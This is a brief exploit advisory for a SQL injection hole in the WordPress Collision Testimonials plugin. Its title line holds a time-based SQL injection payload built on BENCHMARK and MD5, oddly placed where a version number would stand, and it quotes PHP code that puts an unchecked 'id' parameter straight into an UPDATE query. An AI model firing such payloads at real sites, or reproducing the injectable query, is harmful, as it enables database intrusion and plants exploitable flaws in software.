# Exploit Title: WordPress Collision Testimonials plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
---------------
Vulnerable code
---------------
if (isset($_GET['featQuote'])) {
	$id = $_GET['id'];
	mysql_query("UPDATE $testimonials SET featured=1 WHERE id=$id");
};